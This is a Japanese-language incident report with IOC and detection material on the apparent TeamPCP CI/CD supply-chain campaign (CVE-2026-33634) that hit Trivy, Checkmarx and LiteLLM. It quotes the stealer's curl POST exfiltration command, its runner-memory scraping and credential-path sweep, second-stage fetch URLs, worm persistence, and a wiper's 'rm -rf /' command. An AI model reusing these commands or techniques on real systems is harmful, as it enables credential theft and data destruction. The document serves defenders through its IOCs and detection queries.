
CVE-2026-33634 (CVSS 9.4) — 2026年これまでで最も影響力のあるCI/CDサプライチェーン攻撃。
CVE-2026-33634 (CVSS 9.4) — 2026年でこれまでに最も影響力の大きいCI/CDサプライチェーン攻撃。
2026年3月19日から25日にかけて、脅威アクター TeamPCP (別名: DeadCatx3、PCPcat、ShellForce、CanisterWorm) は、GitHub Actions、Docker Hub、OpenVSX、npm、PyPI の5つのエコシステムにまたがる連鎖的なサプライチェーン侵害を実行しました。ローテーションが不完全だった単一のGitHub PATから始まり、このキャンペーンは2つの主要なオープンソースセキュリティベンダー(Aqua Security と Checkmarx)、4つのGitHub Actionsリポジトリ、2つのVS Code拡張機能、コンテナレジストリ、66以上のnpmパッケージに拡大しました。
このリポジトリは、完全な技術的詳細、厳選されたIOCリスト(FPテスト済み)、および Microsoft Defender XDR にすぐに展開できる検出クエリを提供します。
| 日付 (UTC) | イベント |
|---|---|
| 2026年2月20日 | hackerbot-claw アカウントを作成。悪用可能な pull_request_target ワークフローをスキャン開始 |
| 2026年2月28日 | PWN リクエストによる最初のTrivy侵害。クレデンシャルが窃取された |
| 2026年3月1日 | Aqua Security が封じ込めを試行 — クレデンシャルローテーションは不完全 |
| 3月19日 17:43 | 本攻撃: TeamPCP が侵害された aqua-bot サービスアカウントを介して aquasecurity/trivy-action の75/76タグと setup-trivy の全7タグをフォースプッシュ |
| 3月19日 18:22 | バックドア付き Trivy v0.69.4 が GitHub Releases、Docker Hub、GHCR、ECR に公開 |
| 3月20日 05:40 | Trivy-action の侵害ウィンドウ終了 (~12時間) |
| 3月20日 20:45 | CanisterWorm が npm 全体に拡散していることを検知 — 47以上のパッケージが侵害 |
| 3月22日 20:31 | TeamPCP がスクリプトによる2分間のバーストで aquasec-com GitHub 組織の全44リポジトリを改ざん |
| 3月22日 | Docker Hub イメージ 0.69.5 と 0.69.6 が同じスティーラーペイロードでプッシュされる |
| 3月23日 02:53 | Checkmarx 波の開始: 悪意のある ast-results v2.53.0 と cx-dev-assist v1.7.0 が ast-phoenix アカウントを介して OpenVSX に公開 |
| 3月23日 12:58 | Checkmarx/kics-github-action の全35タグが、侵害された cx-plugins-releases アカウントでフォースプッシュされる |
| 3月23日 15:41 | Checkmarx が OpenVSX の問題は解決済みと報告 |
| 3月23日 16:50 | ユーザー報告後、KICS GitHub Action が停止 |
| 3月23日 22:25 | Sysdig が Checkmarx/ast-github-action v2.3.28 も侵害されていると報告 |
| 3月24日 08:30 | LiteLLM 波: トロイの木馬化された litellm v1.82.7 と v1.82.8 が盗難されたクレデンシャルを使用して PyPI に公開 |
| 3月24日 11:25 | PyPI が悪意のある LiteLLM バージョンを隔離 |
根本原因: 2月28日の侵害後の不完全なクレデンシャルローテーション。aqua-bot サービスアカウントのPATは失効されていなかったか、攻撃者がローテーション中に新しいトークンを観察しました。
TeamPCP はこの保持されたアクセスを使用して、悪意のある偽装コミットにバージョンタグをフォースプッシュしました。各偽造コミットは元のメタデータ(作成者、タイムスタンプ、メッセージ)を複製しつつ、エントリポイントスクリプトをスティーラーペイロードに置き換えました。GitHub のリリースページには目に見える変更は表示されませんでした — 「Immutable」バッジも正常に表示されていました。
スティーラー — 「TeamPCP Cloud stealer」と自己識別する204行の entrypoint.sh — は3段階の攻撃を実行します:
ステージ 1: メモリスキャン
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
ステージ 2: ファイルシステムのクレデンシャルスイープ
50以上の機密パスをスキャン:
~/.ssh/*)~/.npmrc).env ファイルステージ 3: 暗号化された外部送信
tpcp.tar.gz にバンドルcurl POST で外部送信GITHUB_TOKEN を使用して被害者の GitHub アカウントに tpcp-docs または docs-tpcp リポジトリを作成非CIのLinuxシステムでは、マルウェアは:
~/.config/sysmon/ を作成sysmon.py) を配置Trivy 波で盗んだクレデンシャルにより、Checkmarx のエコシステムの侵害が可能になりました。各新しい波では、前の波のブロックリストを回避するために異なるタイポスクワットC2ドメインを使用しました:
| 波 | C2 ドメイン | タイポスクワット元 |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| リポジトリ | 侵害されたタグ | 露出ウィンドウ (UTC) | エントリポイント |
|---|---|---|---|
aquasecurity/trivy-action | 76中75 (安全: 0.35.0) | 3月19日 17:43 – 3月20日 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | 全7タグ | 3月19日 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | 全35タグ | 3月23日 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (おそらく全て) | 3月23日 ~22:25以降 | setup.sh |
| 拡張機能 | 悪意のあるバージョン | 安全なバージョン |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
両拡張機能は、3月23日12:53 UTCに12秒違いで ast-phoenix アカウントを介して公開されました。アクティベーション時に environmentAuthChecker.js がクラウドプロバイダーのクレデンシャルをチェックし、checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz から第2段階のスティーラーを取得します。
| イメージ | 悪意のあるタグ |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| パッケージ | バージョン | バックドアされたファイル |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
3重ネストのBase64ペイロードにK8s横展開ツールキットを含む。checkmarx.zone/raw をポーリングする sysmon.service による永続化。
外部送信パターンは全波で同一です:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
タイポスクワットドメイン戦略は意図的です: CI/CDログをレビューするアナリストは、アクション自身のベンダードメインのように見える curl トラフィックを目にします。注意深く比較しない限り、scan.aquasecurtiy.org は素早いログレビューで aquasecurity.org として通過します。
盗まれたデータを復号化できるのは攻撃者だけです — AESセッションキーは攻撃者の公開鍵でRSA-OAEP暗号化されています。
Trivy 侵害から24時間以内に、盗まれたnpmトークンにより、66以上のパッケージ(141の悪意のあるアーティファクト)にわたって自己伝播型ワームが拡散しました。
CanisterWorm が注目に値する点:
tdtqy-oyaaa-aaaae-af2dq-cai のキャニスターは分散型スマートコントラクト — 単一の停止ポイントなしget_latest_link、http_request、update_linkyoutube.com を含むURLを返した場合、バックドアはスリープpgmon (PostgreSQL監視) を装う systemd ユーザーサービス/tmp/pglog に配置され、状態は /tmp/.pg_state で追跡既知の侵害スコープ: @emilgroup/*、@teale.io/* (@teale.io/eslint-config v1.8.11、v1.8.12 の自己伝播型バリアント)
破壊的なバリアントはイランのシステムを特に対象とします:
kamikaze というコンテナでワイプと強制再起動を実行rm -rf / --no-preserve-root を実行検出はシステムのタイムゾーンとロケールチェックによる。
ルール名: TeamPCP Supply Chain C2 and Malware IOC Match
重大度: 高
カテゴリ: CommandAndControl
頻度: 1時間ごと
完全なKQLクエリは detection/defender_xdr_query.kql を参照してください。
このクエリは以下をカバーします:
インポート可能なCSVが iocs/FINAL_TeamPCP_IOC_25Mar2026.csv に用意されています。このファイルは本番エンタープライズ環境に対してFPテスト済みです。
| プラットフォーム | 検出 |
|---|---|
| Palo Alto Cortex XDR | ルール ioc.linux.shaihulud.2 — GitHub Action ランナー上のクレデンシャルアクセス |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container、Curl Exfiltrating File、Exfiltration of AWS IMDS Credentials Using LOTL Binary |